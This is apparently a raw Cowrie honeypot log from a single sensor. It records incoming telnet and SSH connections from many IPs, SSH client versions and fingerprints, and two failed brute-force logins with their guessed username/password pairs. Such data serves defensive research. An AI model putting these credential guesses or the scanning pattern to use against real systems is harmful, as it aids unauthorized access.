{"eventid":"cowrie.session.closed","duration":30.519532442092896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:19.150164Z","src_ip":"103.137.231.186","session":"9114d8959baa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.35.145.66","src_port":33625,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f1e9e59556","protocol":"telnet","message":"New connection: 64.35.145.66:33625 (10.17.0.5:23) [session: 69f1e9e59556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:19.839006Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36684,"dst_ip":"159.203.135.109","dst_port":23,"session":"8898c77c1fca","protocol":"telnet","message":"New connection: 103.137.231.186:36684 (159.203.135.109:23) [session: 8898c77c1fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:20.070983Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36700,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ddda698f3af","protocol":"telnet","message":"New connection: 103.137.231.186:36700 (159.203.135.109:23) [session: 0ddda698f3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:20.106052Z"}
{"eventid":"cowrie.session.closed","duration":30.57619833946228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:20.160779Z","src_ip":"103.137.231.186","session":"d62fbea16b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":50010,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ae4432d7760","protocol":"telnet","message":"New connection: 104.248.46.74:50010 (159.203.135.109:23) [session: 4ae4432d7760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:21.504874Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36672,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dab8d65c794","protocol":"telnet","message":"New connection: 103.137.231.186:36672 (159.203.135.109:23) [session: 2dab8d65c794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:22.288443Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57214,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca96a6b318f","protocol":"telnet","message":"New connection: 159.203.13.64:57214 (10.17.0.5:23) [session: 0ca96a6b318f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:22.692303Z"}
{"eventid":"cowrie.session.closed","duration":31.442853450775146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:22.709996Z","src_ip":"103.137.231.186","session":"3d2903fec43e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40483260154724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:23.037576Z","src_ip":"103.137.231.186","session":"7f50fe0d072a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37669086456299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:23.143466Z","src_ip":"169.38.112.222","session":"030c399ba1ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36716,"dst_ip":"159.203.135.109","dst_port":23,"session":"694a30f15ab4","protocol":"telnet","message":"New connection: 103.137.231.186:36716 (159.203.135.109:23) [session: 694a30f15ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:24.064748Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36722,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b0fb9e56b8e","protocol":"telnet","message":"New connection: 103.137.231.186:36722 (159.203.135.109:23) [session: 5b0fb9e56b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:27.232724Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57230,"dst_ip":"10.17.0.5","dst_port":23,"session":"65d5d977642a","protocol":"telnet","message":"New connection: 159.203.13.64:57230 (10.17.0.5:23) [session: 65d5d977642a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:27.274016Z"}
{"eventid":"cowrie.session.closed","duration":35.74936819076538,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:29.413183Z","src_ip":"162.253.42.116","session":"4dd53999f870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60582,"dst_ip":"159.203.135.109","dst_port":23,"session":"713e8730f4fa","protocol":"telnet","message":"New connection: 103.137.231.186:60582 (159.203.135.109:23) [session: 713e8730f4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:29.498648Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60592,"dst_ip":"159.203.135.109","dst_port":23,"session":"2660bf1e632f","protocol":"telnet","message":"New connection: 103.137.231.186:60592 (159.203.135.109:23) [session: 2660bf1e632f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:29.536592Z"}
{"eventid":"cowrie.session.closed","duration":40.09649133682251,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:29.864755Z","src_ip":"159.203.13.64","session":"6c7cdb451ba9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60606,"dst_ip":"159.203.135.109","dst_port":23,"session":"28b0d4c0af3c","protocol":"telnet","message":"New connection: 103.137.231.186:60606 (159.203.135.109:23) [session: 28b0d4c0af3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:30.966057Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":52190,"dst_ip":"159.203.135.109","dst_port":23,"session":"10734d706d47","protocol":"telnet","message":"New connection: 104.248.46.74:52190 (159.203.135.109:23) [session: 10734d706d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:30.970059Z"}
{"eventid":"cowrie.session.closed","duration":31.315309524536133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:31.199687Z","src_ip":"103.137.231.186","session":"39fa96011c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74361181259155,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:31.922894Z","src_ip":"104.248.46.74","session":"e7414f8836f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":47148,"dst_ip":"10.17.0.5","dst_port":22,"session":"46eabffddc9e","protocol":"ssh","message":"New connection: 45.78.194.242:47148 (10.17.0.5:22) [session: 46eabffddc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:32.857465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:32.863182Z","src_ip":"45.78.194.242","session":"46eabffddc9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74839448928833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:34.589078Z","src_ip":"169.38.112.222","session":"0a33f6fb651e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60628,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a1417f7ffb8","protocol":"telnet","message":"New connection: 103.137.231.186:60628 (159.203.135.109:23) [session: 7a1417f7ffb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:38.301564Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53978,"dst_ip":"159.203.135.109","dst_port":23,"session":"1431f4c5810f","protocol":"telnet","message":"New connection: 103.137.231.186:53978 (159.203.135.109:23) [session: 1431f4c5810f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:40.360593Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53994,"dst_ip":"159.203.135.109","dst_port":23,"session":"72660c354ab5","protocol":"telnet","message":"New connection: 103.137.231.186:53994 (159.203.135.109:23) [session: 72660c354ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:42.364611Z"}
{"eventid":"cowrie.session.closed","duration":31.160630464553833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:42.650922Z","src_ip":"103.137.231.186","session":"42f68e3b141a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160630702972412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:44.566190Z","src_ip":"103.137.231.186","session":"83e50f8e77db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35726,"dst_ip":"159.203.135.109","dst_port":22,"session":"0292d9bd7367","protocol":"ssh","message":"New connection: 159.203.92.129:35726 (159.203.135.109:22) [session: 0292d9bd7367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:47.319423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:47.323582Z","src_ip":"159.203.92.129","session":"0292d9bd7367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:47.330387Z","src_ip":"159.203.92.129","session":"0292d9bd7367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amanda","password":"123654","message":"login attempt [amanda/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:47.341113Z","src_ip":"159.203.92.129","session":"0292d9bd7367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:48.348227Z","src_ip":"159.203.92.129","session":"0292d9bd7367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.473068714141846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:49.133795Z","src_ip":"103.137.231.186","session":"528787d1ec9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64870810508728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:49.492849Z","src_ip":"103.137.231.186","session":"bb8d5e39eeb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50878,"dst_ip":"159.203.135.109","dst_port":23,"session":"1366d7a5e3ec","protocol":"telnet","message":"New connection: 103.137.231.186:50878 (159.203.135.109:23) [session: 1366d7a5e3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:49.902373Z"}
{"eventid":"cowrie.session.closed","duration":31.131991624832153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:51.202874Z","src_ip":"103.137.231.186","session":"8898c77c1fca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":54090,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e50eacd7cb1","protocol":"ssh","message":"New connection: 186.13.24.118:54090 (159.203.135.109:22) [session: 2e50eacd7cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:51.472593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:51.476639Z","src_ip":"186.13.24.118","session":"2e50eacd7cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.440433502197266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:51.546360Z","src_ip":"103.137.231.186","session":"0ddda698f3af","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:51.643476Z","src_ip":"186.13.24.118","session":"2e50eacd7cb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50884,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8150e0a1329","protocol":"telnet","message":"New connection: 103.137.231.186:50884 (159.203.135.109:23) [session: a8150e0a1329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:52.211841Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50896,"dst_ip":"159.203.135.109","dst_port":23,"session":"735439ec6e39","protocol":"telnet","message":"New connection: 103.137.231.186:50896 (159.203.135.109:23) [session: 735439ec6e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:52.283972Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer2021","message":"login attempt [developer/developer2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:52.342401Z","src_ip":"186.13.24.118","session":"2e50eacd7cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:53.512200Z","src_ip":"186.13.24.118","session":"2e50eacd7cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.57704567909241,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:54.081824Z","src_ip":"104.248.46.74","session":"4ae4432d7760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.831948280334473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:54.120291Z","src_ip":"103.137.231.186","session":"2dab8d65c794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.340895652770996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:55.405560Z","src_ip":"103.137.231.186","session":"694a30f15ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96175980567932,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:58.194375Z","src_ip":"103.137.231.186","session":"5b0fb9e56b8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657572984695435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:00.156127Z","src_ip":"103.137.231.186","session":"713e8730f4fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07220220565796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:00.608693Z","src_ip":"103.137.231.186","session":"2660bf1e632f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.141611099243164,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:02.415518Z","src_ip":"159.203.13.64","session":"65d5d977642a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78804850578308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:02.754031Z","src_ip":"103.137.231.186","session":"28b0d4c0af3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49070,"dst_ip":"159.203.135.109","dst_port":23,"session":"a44441eeeea5","protocol":"telnet","message":"New connection: 103.137.231.186:49070 (159.203.135.109:23) [session: a44441eeeea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:03.697143Z"}
{"eventid":"cowrie.session.closed","duration":41.24109387397766,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:03.933312Z","src_ip":"159.203.13.64","session":"0ca96a6b318f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49072,"dst_ip":"159.203.135.109","dst_port":23,"session":"923d729bc7f5","protocol":"telnet","message":"New connection: 103.137.231.186:49072 (159.203.135.109:23) [session: 923d729bc7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:04.912371Z"}
{"eventid":"cowrie.session.closed","duration":33.96082663536072,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:04.930851Z","src_ip":"104.248.46.74","session":"10734d706d47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e266f245db5e","protocol":"telnet","message":"New connection: 159.203.13.64:40960 (10.17.0.5:23) [session: e266f245db5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:05.912811Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40962,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25123fa30de","protocol":"telnet","message":"New connection: 159.203.13.64:40962 (10.17.0.5:23) [session: b25123fa30de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:06.292973Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49090,"dst_ip":"159.203.135.109","dst_port":23,"session":"148224c8d8c3","protocol":"telnet","message":"New connection: 103.137.231.186:49090 (159.203.135.109:23) [session: 148224c8d8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:08.113985Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49078,"dst_ip":"159.203.135.109","dst_port":23,"session":"317c03b82227","protocol":"telnet","message":"New connection: 103.137.231.186:49078 (159.203.135.109:23) [session: 317c03b82227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:09.431941Z"}
{"eventid":"cowrie.session.closed","duration":31.158780336380005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:09.460226Z","src_ip":"103.137.231.186","session":"7a1417f7ffb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49080,"dst_ip":"159.203.135.109","dst_port":23,"session":"d19596a91f13","protocol":"telnet","message":"New connection: 103.137.231.186:49080 (159.203.135.109:23) [session: d19596a91f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:10.781207Z"}
{"eventid":"cowrie.session.closed","duration":30.828285455703735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:11.188785Z","src_ip":"103.137.231.186","session":"1431f4c5810f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35212,"dst_ip":"159.203.135.109","dst_port":23,"session":"24a277fe4578","protocol":"telnet","message":"New connection: 103.137.231.186:35212 (159.203.135.109:23) [session: 24a277fe4578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:12.276802Z"}
{"eventid":"cowrie.session.closed","duration":30.762701988220215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:13.127189Z","src_ip":"103.137.231.186","session":"72660c354ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47256,"dst_ip":"159.203.135.109","dst_port":23,"session":"f46c7fcea18c","protocol":"telnet","message":"New connection: 80.252.221.197:47256 (159.203.135.109:23) [session: f46c7fcea18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:16.394745Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50953,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f91a02aa4a6","protocol":"ssh","message":"New connection: 2.57.121.25:50953 (10.17.0.5:22) [session: 2f91a02aa4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:16.451010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:16.456168Z","src_ip":"2.57.121.25","session":"2f91a02aa4a6","protocol":"ssh"}
